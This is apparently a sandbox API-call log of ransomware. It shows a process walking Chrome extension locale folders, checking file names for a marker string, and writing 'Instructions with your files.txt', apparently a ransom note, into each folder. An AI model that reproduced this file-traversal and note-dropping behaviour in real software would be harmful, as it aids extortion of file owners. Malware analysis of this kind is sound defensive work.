[0129.229] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\*") returned 144
[0129.229] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.229] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\.") returned 144
[0129.229] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.229] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\..") returned 145
[0129.229] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x125, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.229] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json") returned 156
[0129.229] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.229] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x125, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.229] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\Instructions with your files.txt") returned 175
[0129.229] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.230] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.230] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.231] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.231] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.231] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.231] CloseHandle (hObject=0x134) returned 1
[0129.231] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.231] GetProcessHeap () returned 0x810000
[0129.231] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.231] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
[0129.231] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko") returned 142
[0129.231] GetProcessHeap () returned 0x810000
[0129.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.231] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\*") returned 144
[0129.231] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.232] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\.") returned 144
[0129.232] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.232] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\..") returned 145
[0129.232] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.232] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json") returned 156
[0129.232] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.232] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.232] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\Instructions with your files.txt") returned 175
[0129.232] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.233] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.234] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.234] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.234] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.234] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.234] CloseHandle (hObject=0x134) returned 1
[0129.234] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.234] GetProcessHeap () returned 0x810000
[0129.234] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.234] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
[0129.234] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt") returned 142
[0129.234] GetProcessHeap () returned 0x810000
[0129.234] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.234] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\*") returned 144
[0129.234] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.235] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\.") returned 144
[0129.235] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.235] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\..") returned 145
[0129.235] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.235] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json") returned 156
[0129.235] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.235] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.235] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\Instructions with your files.txt") returned 175
[0129.235] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.235] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.236] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.236] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.236] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.236] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.237] CloseHandle (hObject=0x134) returned 1
[0129.237] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.237] GetProcessHeap () returned 0x810000
[0129.237] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.237] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
[0129.237] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv") returned 142
[0129.237] GetProcessHeap () returned 0x810000
[0129.237] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.237] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\*") returned 144
[0129.237] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.238] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\.") returned 144
[0129.238] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.238] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\..") returned 145
[0129.238] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.238] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json") returned 156
[0129.238] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.238] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.238] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\Instructions with your files.txt") returned 175
